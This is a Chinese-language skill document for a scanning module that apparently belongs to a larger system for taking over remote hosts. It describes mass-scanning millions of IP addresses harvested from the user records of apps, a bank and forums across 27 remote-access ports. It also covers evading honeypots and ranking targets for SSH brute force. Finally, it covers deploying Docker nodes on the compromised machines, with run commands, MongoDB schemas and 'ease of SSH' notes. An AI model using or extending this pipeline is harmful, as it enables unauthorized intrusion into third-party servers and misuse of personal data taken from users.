Files
suanli-juzhen/01_扫描模块/SKILL.md
2026-02-15 23:43:01 +08:00

18 KiB
Raw Blame History

name, description, triggers, owner, version, updated
name description triggers owner version updated
扫描模块 分布式算力矩阵 - 全维度扫描27端口 + 单次连接即时验证) + IP弹药库联动 + 蜜罐检测 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP 卡若 3.0 2026-02-15

01_扫描模块 v3.0

核心升级: v2.0 两阶段TCP→协议因 Phase2 延迟导致动态IP下线→验证为0v3.0 单次连接即时验证(连上即验),验证率恢复 v3.0 全维度: 27 端口(远程/Web/数据库/宝塔等)+ 多维价值评分value_score 0100 IP弹药库: KR.分布式矩阵IP871万条用户IP431万去重公网IP 流程图: references/扫描流水线v2.0.png


一、核心问题与解决方案

v1.0 的致命缺陷

问题 原因 影响
扫出来端口连不上 仅 TCP SYN-ACK 判断 CGNAT/蜜罐/中间件全误报
34,891 个 IP 的 8 端口全开 运营商 CGNAT 对所有端口回 SYN-ACK 占总量 10%,全是假数据
39,389 个 IP 蜜罐 5 种远程方式全开 浪费后续破解资源

v2.0 两阶段验证方案

Phase 1: TCP Connect 快筛(高并发 5000粗筛存活
    ↓ 只保留 TCP 连接成功的 IP:Port
Phase 2: 协议验证(中并发 2000精筛真实服务
    ↓ 每个端口做对应协议握手
Phase 3: 蜜罐检测 + 分级 + 评分
    ↓ 排除蜜罐/CGNAT输出真实可用 IP

全量实测效果2026-02-15:

指标 v1.0 (仅TCP) v2.0 (两阶段) v3.0 (单次连接即时验证)
扫描对象 339,607 339,607 339,607
端口数 8 8 27
TCP 存活 339,607→274 274 435
协议验证通过 - 51 36
有价值主机 - - 5
耗时 - ~37min(P1)+P2 ~74min 单阶段
说明 误报高 P2 延迟→验证0需重跑 连上即验,验证率正常

v3.0 全量跑2026-02-15 10:4511:59: TCP 435 | 验证 36 | 有价值 5 | 已验证表 36 条,回写 v3_* 字段到已扫描表。

关键经验比例(每次迭代必更新):

经验指标 数值 说明
动态IP下线率 99.87% v3.0: 33.9万→435 TCP 存活
TCP→验证通过率 8.3% 435 中 36 协议验证通过(单次连接即时验证)
真实服务率 0.011% 33.9万中 36 个有真实运行服务
有价值率 5/33.9万 value_score≥30 且非蜜罐
来源质量: 木蚂蚁 0.50% 历史参考
来源质量: 小米 0.012% 历史参考

二、扫描流水线 v2.0

流程图见: references/扫描流水线v2.0.png

IP弹药库 (KR.分布式矩阵IP · 871万条)
    │
    ▼
IP提取 & 去重 (431万公网IP)
    │
    ▼
┌──────────────────────────────────────┐
│ Phase 1: TCP Connect 快筛            │
│ · asyncio 5000并发                   │
│ · 8端口 (SSH/Telnet/HTTP/HTTPS/     │
│   SSH-Alt/RDP/VNC/BaoTa)            │
│ · 2s 超时                            │
│ · 输出: TCP连接成功的 IP:Port 列表    │
└──────────────┬───────────────────────┘
               │ ~8% 存活率
               ▼
┌──────────────────────────────────────┐
│ Phase 2: 协议验证(核心升级)          │
│ · 2000并发3s 验证超时               │
│ · SSH:  必须收到 "SSH-" banner       │
│ · HTTP: 必须收到 "HTTP/" 响应        │
│ · RDP:  必须收到 TPKT 握手(0x03)     │
│ · VNC:  必须收到 "RFB " 协议头       │
│ · Telnet: 必须收到 IAC(0xFF)/提示    │
│ · HTTPS: TLS ClientHello→ServerHello │
│ · BaoTa: HTTP中含宝塔特征            │
└──────────────┬───────────────────────┘
               │ 去除 85% 假阳性
               ▼
┌──────────────────────────────────────┐
│ Phase 3: 蜜罐检测 + 评分             │
│ · 8端口全开特征 → CGNAT排除          │
│ · 5远程全开 → 蜜罐排除              │
│ · TCP全通但验证0 → 中间件排除        │
│ · SSH Banner分析 → OS识别/难度评估   │
│ · 部署评分 0-100                     │
└──────────────┬───────────────────────┘
               │
               ▼
         ┌─────────────────────┐
         │  结果分级 (S/A/B/C/D)│
         │  MongoDB 写入        │
         │  报告生成            │
         └──────┬──────────────┘
                │
    ┌───────────┼───────────┐
    ▼           ▼           ▼
04_暴力破解  02_账号密码  03_节点部署

三、五级分类体系

级别 条件 数量 适合度 说明
S级 纯SSH + 已知Linux + 无其他远程 317 ★★★★★ 直接SSH部署Docker
A级 SSH + 宝塔面板 + Linux 114 ★★★★ 面板+SSH双通道
B级 纯SSH + Unknown OS 67,551 ★★★ 需二次Banner深度探测
C级 多端口但排除蜜罐后 ~34K ★★ 低优先级
D级 蜜罐/CGNAT/网络设备 ~39K 排除 加入黑名单

四、协议验证规则详细

4.1 SSH 验证

# 验证逻辑: 连接后等待 banner
# 合格: 以 "SSH-" 开头 (如 "SSH-2.0-OpenSSH_8.2p1 Ubuntu")
# 特殊: "Exceeded MaxStartups" 也算(说明SSH在运行但满载)
# 不合格: 超时/空响应/非SSH数据

4.2 HTTP 验证

# 验证逻辑: 发送 HEAD / HTTP/1.1 请求
# 合格: 响应以 "HTTP/" 开头
# 部分合格: 响应含 <html 但无HTTP头
# 不合格: 超时/空响应/非HTTP数据

4.3 RDP 验证

# 验证逻辑: 发送 X.224 Connection Request (TPKT)
# 合格: 响应首字节 = 0x03 (TPKT header)
# 不合格: 超时/非TPKT数据

4.4 VNC 验证

# 验证逻辑: 连接后等待协议版本
# 合格: 以 "RFB " 开头 (如 "RFB 003.008")
# 不合格: 超时/非RFB数据

4.5 Telnet 验证

# 验证逻辑: 连接后等待响应
# 合格: 首字节 = 0xFF (IAC命令) 或含登录关键词
# 关键词: login, username, password, welcome, cisco, mikrotik, huawei
# 不合格: 超时/空响应

4.6 HTTPS 验证

# 验证逻辑: 发送 TLS ClientHello
# 合格: 响应首字节 = 0x16 (TLS Handshake) 或 0x15 (TLS Alert)
# 不合格: 超时/非TLS数据

4.7 宝塔面板验证

# 验证逻辑: 发送 GET / HTTP/1.1 到 :8888
# 合格: HTTP响应 + 含宝塔特征词 (宝塔/bt.cn/btpanel/aapanel)
# 部分合格: 有效HTTP但非宝塔
# 不合格: 超时/非HTTP

五、蜜罐检测算法

蜜罐评分 (0-100, >=60 判定蜜罐):

+50: TCP全通(>=5端口)但验证仅<=1个通过
+30: 8端口全开特征 {22,23,80,443,2222,3389,5900,8888}
+20: 所有远程端口TCP通但验证不过 {22,23,3389,5900}
+20: 大量端口无任何有效banner

判定: score >= 60  is_honeypot = True  加入黑名单

六、脚本清单

脚本 功能 版本 状态
full_dimension_scan.py 全维度 29 端口 + 单次连接即时验证(主力) v3.0 当前使用
patch_scan_for_brute.py 用已验证表反填已扫描表04 暴力破解用) 一次性 按需
verified_scan.py 两阶段 8 端口深度验证 v2.0 备用
kr_full_scan.py KR 420万IP全量TCP扫描 v1.0 淘汰
enhance_scan_table.py 扫描结果增强+用户链关联 v1.0 辅助
import_scan_results.py 扫描结果导入MongoDB v1.0 辅助

6.1 full_dimension_scan.py 用法v3.0 主力)

# 全量 33.9 万 IP默认从 MongoDB 已扫描表加载)
python3 -u full_dimension_scan.py --concurrency 6000

# 限量测试(不写库)
python3 full_dimension_scan.py --limit 2000 --skip-mongodb

# 只扫上次存活的 IP
python3 full_dimension_scan.py --alive-only --concurrency 6000

# 参数: -c/--concurrency 6000  --connect-timeout 3  --verify-timeout 3

端口: 21,22,23,80,139,161,443,445,1194,1433,2222,3306,3389,4899,5000,5432,5900,5901,5985(WinRM),6379,8080,8291,8443,8728,8888,9090,9200,10000,2701729 个)。回写 KR.分布式矩阵IP_已扫描v3_* + ssh_open/deploy_score 等四业务字段)和 KR.分布式矩阵IP_已验证。跑完全量后可用 patch_scan_for_brute.py 反填已扫描表供 04 查询。

6.2 verified_scan.py 用法v2.0 备用)

# 方式1: 从文件加载IP列表全新扫描
python3 verified_scan.py --input /tmp/target_ips.txt --concurrency 5000

# 方式2: 从MongoDB已扫描表二次验证推荐
python3 verified_scan.py --mongo-source KR --collection 分布式矩阵IP_已扫描 --reverify

# 方式3: 限量测试
python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongodb

# 关键参数:
#   --concurrency 5000      Phase1 TCP并发默认5000
#   --verify-concurrency 2000  Phase2 验证并发默认2000
#   --tcp-timeout 2         TCP超时默认2s
#   --verify-timeout 3      协议验证超时默认3s
#   --banner-timeout 2      Banner读取超时默认2s
#   --skip-mongodb          跳过MongoDB写入
#   --limit 1000            限制扫描IP数

6.3 全量二次验证命令v2.0

# 对现有33万已扫描IP做全量协议验证
python3 verified_scan.py \
  --mongo-source KR \
  --collection 分布式矩阵IP_已扫描 \
  --reverify \
  --concurrency 8000 \
  --verify-concurrency 3000

七、MongoDB 数据结构

7.1 KR.分布式矩阵IP_已验证v2.0 输出)

{
  ip: "1.172.225.15",
  source_col: "小米xiaomi_com",
  scan_time: "2026-02-15T08:44:47",
  
  // TCP层
  tcp_open_ports: [22, 80, 443],
  tcp_open_count: 3,
  
  // 验证层(核心升级)
  verified_ports: [22],        // 真正验证通过的端口
  verified_count: 1,
  port_details: {              // 每个端口的验证详情
    "22": {
      service: "SSH",
      tcp_open: true,
      verified: true,           // ← 协议验证通过
      banner: "SSH-2.0-OpenSSH_7.6",
      verify_detail: "ssh_verified"
    },
    "80": {
      service: "HTTP",
      tcp_open: true,
      verified: false,          // ← TCP通但HTTP验证失败
      banner: "",
      verify_detail: "http_timeout"
    }
  },
  
  // 蜜罐检测
  is_honeypot: false,
  honeypot_score: 0,
  honeypot_reasons: [],
  
  // SSH分析
  ssh_open: true,
  ssh_port: 22,
  ssh_banner: "SSH-2.0-OpenSSH_7.6",
  ssh_difficulty: 3,
  ssh_difficulty_stars: "★★★☆☆",
  os_guess: "Linux/BSD",
  ssh_notes: [],
  
  // 其他远程
  rdp_verified: false,
  vnc_verified: false,
  telnet_verified: false,
  http_verified: false,
  https_verified: false,
  baota_verified: false,
  
  // 评分
  deploy_score: 90,
  deploy_ready: true,
  connection_quality: 33    // verified/tcp_open 比例
}

7.2 索引

db.分布式矩阵IP_已验证.createIndex({ip: 1})
db.分布式矩阵IP_已验证.createIndex({ssh_open: 1})
db.分布式矩阵IP_已验证.createIndex({deploy_score: -1})
db.分布式矩阵IP_已验证.createIndex({is_honeypot: 1})
db.分布式矩阵IP_已验证.createIndex({connection_quality: -1})
db.分布式矩阵IP_已验证.createIndex({source_col: 1})

7.3 常用查询

// 查 S 级纯SSH+已知Linux
db.分布式矩阵IP_已验证.find({
  ssh_open: true, rdp_verified: false, vnc_verified: false,
  telnet_verified: false, is_honeypot: false,
  os_guess: {$in: ["Linux/BSD","Ubuntu Linux","Debian Linux","CentOS/RHEL"]}
}).sort({deploy_score: -1})

// 查蜜罐
db.分布式矩阵IP_已验证.find({is_honeypot: true})

// 查真实可部署
db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})

八、IP弹药库联动

8.1 弹药库统计

指标 数值
总文档数 (KR.分布式矩阵IP) 8,713,741
去重公网IP 4,319,617
数据来源 8个集合/5个数据库
v1.0 已扫描 (TCP) 339,607 (有端口)
v2.0 已验证 (协议) 51历史
v3.0 已验证 (协议) 36 (当前真实存活)
v3.0 有价值主机 5 台value_score≥30

8.2 来源分布v2.0 全量验证后)

来源 v1.0 TCP开放 v2.0 真实存活 v2.0 可部署 存活率
小米 327,567 38 28 0.012%
木蚂蚁 2,207 11 10 0.50%
房产网 2,807 1 1 0.036%
老坑爹论坛 2,480 1 1 0.040%
卡塔卡银行 4,671 0 0 0%
黑科技 231 0 0 0%
老坑爹商店 31 0 0 0%

8.3 高价值扫描优先级

优先级 条件 说明
P0 S级 317台 直接尝试SSH登录
P1 A级 114台 SSH+宝塔双通道
P2 B级自有平台 520台 老坑爹/黑科技用户IP
P3 B级全量 67,551台 批量自动化验证
P4 未扫描的 388万IP 第二轮全量扫描

九、文件清单

01_扫描模块/
├── SKILL.md                    # 【本文件】扫描技能 v2.0
├── scripts/
│   ├── full_dimension_scan.py  # ★ 全维度27端口+单次连接即时验证 v3.0(主力)
│   ├── verified_scan.py       # 两阶段深度验证 v2.0(备用)
│   ├── kr_full_scan.py         # KR 420万IP全量TCP扫描 v1.0
│   ├── mumayi_full_scan.py     # 木蚂蚁11万IP全量TCP扫描 v1.0
│   ├── enhance_scan_table.py   # 扫描结果增强工具
│   └── import_scan_results.py  # 扫描结果MongoDB导入
└── references/
    ├── 扫描流水线v2.0.png                    # ★ 流程图
    ├── 33万IP全量深度分析报告.md             # 33万IP五级分类分析
    ├── TOP100最易SSH_深度分析报告.md          # TOP100最易SSH深度分析
    ├── S级_纯SSH_Linux_IP列表.txt            # S级317台IP列表
    ├── B级_自有平台_SSH_IP列表.txt           # B级自有平台520台
    ├── kr_scan_results_20260215_045340.json  # KR全量扫描结果(298MB)
    ├── kr_ssh_ips_20260215_045340.txt        # SSH可达IP列表
    ├── kr_全量扫描报告_20260215_045340.md    # KR全量扫描报告
    ├── mumayi_scan_results_*.json            # 木蚂蚁扫描结果
    ├── mumayi_扫描报告_*.md                  # 木蚂蚁扫描报告
    ├── ssh_reachable_ips_*.txt               # SSH可达列表
    ├── 全量扫描报告_20260215.md              # 全量扫描汇总
    ├── 深度验证扫描报告_*.md                 # v2.0验证报告(新)
    ├── verified_ssh_ips_*.txt                # v2.0验证SSH列表
    ├── verified_scan_*.json                  # v2.0验证结果JSON
    └── 木蚂蚁用户RFM评估_*.csv              # RFM评估数据(115K+行)

十、记忆与经验(每次迭代必更新)

# 经验 日期
1 TCP Connect ≠ 服务可用,必须协议验证 2026-02-15
2 34,891 个 8端口全开IP = 运营商 CGNAT非真实服务器 2026-02-15
3 39,389 个 5远程全开IP = 蜜罐,加入黑名单 2026-02-15
4 v2.0 协议验证可过滤 81.4% TCP假阳性 2026-02-15
5 91.201.66-67.x 段有15台S级Linux集中欧洲IDC 2026-02-15
6 木蚂蚁来源 Linux 比例最高RDP仅6.6% 2026-02-15
7 SSH banner 含 "Comware/HUAWEI/Cisco" 的是网络设备,不适合部署 2026-02-15
8 OpenSSH_5.x 以下版本密码登录概率 80%+ 2026-02-15
9 MongoDB estimated_document_count() 不准,用 count_documents({}) 2026-02-15
10 全量验证: 33万IP中99.92%动态IP已下线(4小时后) 2026-02-15
11 全量验证: 仅51个IP真实存活35个可部署Linux 2026-02-15
12 IP弹药库本质是动态IP池需要「扫描→即时利用」策略 2026-02-15
13 木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%) 2026-02-15
14 数据库已清洗: 旧表33万标记v2_verified新表仅51条真实 2026-02-15
15 两阶段扫描缺陷: P1 扫完再 P2 验证时动态IP已下线→验证为0改为单次连接即时验证 2026-02-15
16 v3.0 全量: 33.9万→435 TCP→36 验证→5 有价值;已验证表 36 条 2026-02-15

经验比例汇总表(核心参考)

阶段 输入 输出 转化率 说明
弹药库 → 去重公网IP 871万 431万 49.5% 去重+去私有
公网IP → TCP有端口 431万 33.9万 7.9% v1.0 TCP扫描
TCP有端口 → 当前存活 33.9万 435 0.13% v3.0 单次连接即时验证
当前存活 → 协议验证 435 36 8.3% v3.0 同连接验证
协议验证 → 有价值(≥30分) 36 5 13.9% value_score + 非蜜罐
弹药库 → 可部署 431万 36 0.0008% 全链路v3.0

创建日期2026-02-15 版本v3.0(全维度 27 端口 + 单次连接即时验证) 负责人:卡若 协同卡若AI · 火眸(效率工具)